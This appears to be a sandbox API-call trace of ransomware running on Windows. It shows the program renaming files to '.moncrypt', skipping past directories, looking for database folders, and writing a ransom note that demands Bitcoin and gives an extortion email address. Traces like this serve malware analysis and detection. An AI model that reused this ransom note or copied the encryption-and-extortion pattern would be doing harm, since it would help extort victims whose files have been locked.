GlobalLock (hMem=0x440004) returned 0x555b78 [0049.870] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.870] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.870] GlobalUnlock (hMem=0x44000c) returned 0 [0049.870] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.870] GlobalLock (hMem=0x44000c) returned 0x559b88 [0049.870] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.870] GlobalUnlock (hMem=0x440004) returned 0 [0049.870] GlobalHandle (pMem=0x559b88) returned 0x44000c [0049.870] GlobalUnlock (hMem=0x44000c) returned 0 [0049.870] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.870] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.870] GlobalUnlock (hMem=0x44000c) returned 0 [0049.870] GlobalReAlloc (hMem=0x44000c, dwBytes=0x4000, uFlags=0x2) returned 0x44000c [0049.870] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.870] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.870] GlobalUnlock (hMem=0x44000c) returned 0 [0049.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.882] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0049.882] CloseHandle (hObject=0x188) returned 1 [0049.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.moncrypt", dwFileAttributes=0x20) returned 1 [0049.883] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0049.883] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.883] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.883] GlobalUnlock (hMem=0x44000c) returned 0 [0049.883] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.883] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.883] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.883] GlobalUnlock (hMem=0x44000c) returned 0 [0049.883] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.883] GlobalUnlock (hMem=0x440004) returned 0 [0049.883] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0049.883] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x555b78, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69ce8, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x557b88, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0049.883] GetLastError () returned 0x2 [0049.883] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0049.883] WriteFile (in: hFile=0x188, lpBuffer=0x1dccd48*, nNumberOfBytesToWrite=0x649, lpNumberOfBytesWritten=0x18ed24, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesWritten=0x18ed24*=0x649, lpOverlapped=0x0) returned 1 [0049.884] CloseHandle (hObject=0x188) returned 1 [0049.885] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0049.885] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.885] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.885] GlobalLock (hMem=0x440004) returned 0x550170 [0049.885] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.885] GlobalUnlock (hMem=0x440004) returned 0 [0049.885] GlobalLock (hMem=0x440004) returned 0x550170 [0049.885] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.885] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.885] GlobalUnlock (hMem=0x440004) returned 0 [0049.885] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.885] GlobalUnlock (hMem=0x44000c) returned 0 [0049.885] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.885] CharLowerBuffW (in: lpsz="SmartTagInstall.exe", cchLength=0x13 | out: lpsz="smarttaginstall.exe") returned 0x13 [0049.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0049.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0049.886] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exe", cchWideChar=76, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\SmartTagInstall.exep", lpUsedDefaultChar=0x0) returned 76 [0049.886] CharLowerBuffW (in: lpsz=".exe", cchLength=0x4 | out: lpsz=".exe") returned 0x4 [0049.886] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".exe", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".exeShared\\Smart Tag\\SmartTagInstall.exep", lpUsedDefaultChar=0x0) returned 4 [0049.886] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 0 [0049.886] GetLastError () returned 0x12 [0049.886] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0049.886] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.886] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.886] GlobalUnlock (hMem=0x44000c) returned 0 [0049.887] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.887] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.887] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.887] GlobalUnlock (hMem=0x44000c) returned 0 [0049.887] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.887] GlobalUnlock (hMem=0x440004) returned 0 [0049.887] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3efa4ca0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3efa4ca0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0049.887] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0049.887] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.887] GlobalLock (hMem=0x440004) returned 0x550170 [0049.887] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.887] GlobalUnlock (hMem=0x440004) returned 0 [0049.887] GlobalLock (hMem=0x440004) returned 0x550170 [0049.887] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.887] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.887] GlobalUnlock (hMem=0x440004) returned 0 [0049.887] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.887] GlobalUnlock (hMem=0x44000c) returned 0 [0049.887] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.887] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed123f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x3efa4ca0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3efa4ca0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.887] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.887] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.887] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.887] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.887] GlobalUnlock (hMem=0x44000c) returned 0 [0049.888] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.888] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.888] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.888] GlobalUnlock (hMem=0x44000c) returned 0 [0049.888] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.888] GlobalUnlock (hMem=0x440004) returned 0 [0049.888] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.888] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeee1cd90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef058230, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0049.888] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0049.888] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0049.888] GlobalLock (hMem=0x440004) returned 0x550170 [0049.888] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.888] GlobalUnlock (hMem=0x440004) returned 0 [0049.888] GlobalLock (hMem=0x440004) returned 0x550170 [0049.888] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.888] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.888] GlobalUnlock (hMem=0x440004) returned 0 [0049.888] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.888] GlobalUnlock (hMem=0x44000c) returned 0 [0049.888] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.888] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.888] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.888] GlobalUnlock (hMem=0x44000c) returned 0 [0049.888] GlobalLock (hMem=0x44000c) returned 0x550170 [0049.888] GlobalLock (hMem=0x440004) returned 0x555b78 [0049.888] GlobalHandle (pMem=0x550170) returned 0x44000c [0049.888] GlobalUnlock (hMem=0x44000c) returned 0 [0049.888] GlobalHandle (pMem=0x555b78) returned 0x440004 [0049.888] GlobalUnlock (hMem=0x440004) returned 0 [0049.889] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0049.889] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033") returned 1 [0049.889] GlobalLock (hMem=0x440004) returned 0x550170 [0049.889] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.889] GlobalUnlock (hMem=0x440004) returned 0 [0049.889] GlobalLock (hMem=0x440004) returned 0x550170 [0049.889] GlobalLock (hMem=0x44000c) returned 0x555b78 [0049.889] GlobalHandle (pMem=0x550170) returned 0x440004 [0049.889] GlobalUnlock (hMem=0x440004) returned 0 [0049.889] GlobalHandle (pMem=0x555b78) returned 0x44000c [0049.889] GlobalUnlock (hMem=0x44000c) returned 0 [0049.889] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꐜRꏰR企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0049.890] GetLastError () returned 0x3 [0049.890] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0049.890] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0049.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꍴR企@\x18䀴Q\x181")) returned 0xffffffff [0049.891] GetLastError () returned 0x2 [0049.891] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0049.891] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0049.891] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꐼR企@\x18?T\x18;")) returned 0xffffffff [0049.892] GetLastError () returned 0x2 [0049.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0049.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0049.892] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꍴR企@\x18?T\x18D")) returned 0xffffffff [0049.892] GetLastError () returned 0x2 [0049.892] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69d68, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0049.892] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0049.893] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69ce8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@ꐼR企@\x18Q\x18j")) returned 0xffffffff [0049.893] GetLastError () returned 0x2 [0049.893] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\") returned 0x3e [0049.893] 